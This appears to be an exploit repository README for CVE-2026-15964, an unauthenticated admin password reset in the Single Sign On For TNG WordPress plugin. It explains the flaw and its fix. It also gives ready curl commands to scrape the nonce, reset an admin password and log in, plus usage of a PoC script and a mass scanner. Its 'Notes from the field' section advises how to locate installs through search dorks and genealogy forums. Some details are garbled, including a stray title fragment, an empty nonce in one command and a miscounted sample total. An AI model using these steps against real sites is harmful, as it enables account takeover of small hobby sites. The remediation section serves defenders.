## https://sploitus.com/exploit?id=C35BE27A-CED0-5CAF-9327-BF1996B864CD
# CVE-2026-15964 - Single Sign On For TNG {"success":true}
```
---
## Why this works
### The handler is registered for unauthenticated users
In `single-sign-on-for-tng.php` (v2.0.0):
```php
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
```
`wp_ajax_nopriv_*` means the handler is reachable with no session at all.
### The only guard is a nonce the plugin hands to every visitor
`load_scripts()` is hooked to `wp_enqueue_scripts`, so on **every** front-end
page the plugin prints this into the HTML:
```php
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
```
Which renders as:
```html
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
```
And the handler verifies it like this:
```php
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
```
The catch: WordPress computes nonces with `wp_create_nonce($action)` using
`uid` and the session token. For **logged-out** visitors those are `0` and an
empty string, which means **every anonymous visitor gets the exact same nonce**.
It is only re-rolled every 12 hours (the nonce tick). So the nonce that the
plugin prints for any visitor is also valid for the attacker - there is no
secret to steal, it is published on the page itself.
### And then the actual change, with zero ownership proof
```php
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
```
`reset_password()` is a WordPress core function. It sets the new hash, logs the
victim out of every other session, and fires the `password_reset` /
`after_password_reset` actions. It is called here with nothing proving the
caller is the account owner.
Two extras worth knowing:
* **No server-side password strength check on this path.** The plugin's
`MINIMUM_PASSWORD_LENGTH` / `PASSWORDSPEC` rules are only enforced in
`validate_form()` for Forminator forms, never here. Any password is accepted.
* **Account enumeration.** `{"success":true}` vs `{"success":false}` tells you
whether an email is registered. The checker's `--enum-only` mode uses this.
* **Bonus bug in the same function:** `operation=set_tzoffset` calls
`update_option('localtzoffset', $post['timezoneoffset'])` unauthenticated.
Not directly exploitable for RCE, but it is an unauthenticated option write
and worth mentioning in the writeup.
---
## What changed in 2.1.0
Diffing 2.0.0 against 2.1.0 makes the fix obvious (and confirms the bug):
```diff
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
```
plus, in `newpasswordform()`:
```diff
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
```
So in 2.1.0 the flow is: a real recovery request stores a per-user
`custom_recovery_token` + `custom_recovery_nonce` in user meta, the recovery
link carries the user id, the form validates both, and the AJAX handler refuses
to run once the recovery window (`timeout`) has expired. An attacker who can't
produce a live recovery record can't drive `setnewpassword` anymore.
---
## Reproduction (manual)
**Step 1 - scrape the nonce**
```bash
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
```
**Step 2 - change the password**
```bash
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=&operation=setnewpassword&email=admin@victim.tld&password=Pwned!@2026x"
```
Expected response on a vulnerable install: `{"success":true}`
**Step 3 - log in**
```bash
curl -sk -X POST https://target/wp-login.php \
-d "log=admin@victim.tld&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
```
---
## PoC: `CVE-2026-15964.py`
Single-site exploit. Non-destructive modes included.
```bash
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e admin@victim.tld -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e admin@victim.tld -p 'NewPass!2026x' -n 9c0de6ab12
# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e admin@victim.tld --enum-only
# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check
```
---
## Checker: `CVE-2026-15964-checker.py`
Batch scanner for your own site lists. **Non-destructive by design** - it
never changes a password.
How it classifies each site:
1. **HTML fingerprint** - `SSOPWDREQUIREMENT` object or the
`/wp-content/plugins/single-sign-on-for-tng/` asset paths in the homepage.
2. **Version** - `readme.txt` `Stable tag:` line. `= 2.1.0` is patched. This is authoritative per the CVE.
3. **Behavioral probe** (`--probe`, only when the version can't be read) - posts
`operation=setnewpassword` with a **non-existent** email. A 2.0.0 install
answers `{"success":false}` with no error message; a 2.1.0 install answers
with the "time to submit the new password expired" message. A real email is
never sent - sending one would actually reset the password.
```bash
# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv
# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com
```
Sample output:
```
URL VERDICT VER NONCE DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com VULNERABLE 2.0.0 yes readme Stable tag 2.0.0 2.0.0
https://plain-wp.example.com PLUGIN_NOT_FOUND - -
Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1
```
Verdicts: `VULNERABLE` / `PATCHED` / `PLUGIN_NOT_FOUND` / `NOT_WORDPRESS` /
`UNKNOWN` / `ERROR`. `UNKNOWN` usually means a WAF, an aggressive CDN cache or
a site that blocks the readme - check those by hand.
---
## Testing the tools locally
`tests/mock_server.py` emulates six cases (vulnerable-by-version,
patched-by-version, vulnerable-by-probe, patched-by-probe, WordPress without
the plugin, non-WordPress). This is how the checker's logic was validated
before pointing it at anything real:
```bash
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme
# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE
```
`pip install -r requirements.txt` gets you the only dependency (`requests`).
---
## Notes from the field
Honest context, because it affects how you use this.
* This plugin targets **TNG** (The Next Generation of Genealogy Sitebuilding),
i.e. hobby genealogy sites. It is a very small ecosystem: roughly 1,600
lifetime downloads on wordpress.org, active installs hidden (< 10), first
release October 2024.
* Because 2.1.0 only appeared on 2026-07-27, the overwhelming majority of
downloads are vulnerable versions. If you find an install at all, it is very
likely still vulnerable.
* Discovery is the hard part. The plugin leaves no trace in Shodan's index
(I checked every fingerprint I could think of - zero results), and even
finger-printing the top 1,000 WordPress hosts Shodan returns found no
installs. Your best sources are: Google `inurl:"single-sign-on-for-tng"`,
`"SSOPWDREQUIREMENT"` in search engines that index full page source
(PublicWWW, Censys, FOFA), and the TNG community itself
(tngsitebuilding.com, genealogy forums).
* The checker's `UNKNOWN` bucket will be comparatively large on real
genealogical sites - many run behind aggressive caching or block
`readme.txt`. Don't read that as "not vulnerable"; check by hand.
---
## Detection & remediation
* Update to **2.1.0** (or remove the plugin entirely).
* WAF rule: reject `admin-ajax.php` POSTs where `action=ssoprocess_ajax` does
not come from an authenticated session; alert on `setnewpassword` from
anonymous sources.
* Monitor `wp_users.user_pass` hash changes and the `password_reset` /
`after_password_reset` actions; watch for admin logins immediately after a
password change.
* Treat `ssoajaxnonce` as public knowledge - it always was.
---
## References
* https://vulners.com/cve/CVE-2026-15964
* https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-15964
* https://www.wordfence.com/threat-intel/vulnerabilities/id/1d8d393e-764c-491d-8afb-7d4f8d0c387a?source=cve
* Vulnerable source (2.0.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.0.0/single-sign-on-for-tng.php
* Fixed source (2.1.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.1.0/single-sign-on-for-tng.php
* https://plugins.trac.wordpress.org/changeset?reponame=&old=3624827%40single-sign-on-for-tng&new=3624827%40single-sign-on-for-tng
---
## Disclaimer
This repository is for **authorized security testing and educational purposes
only**. You are responsible for your own actions. Do not run these tools
against systems you do not own or have explicit written permission to test.
Unauthorized access to computer systems is a crime in most jurisdictions.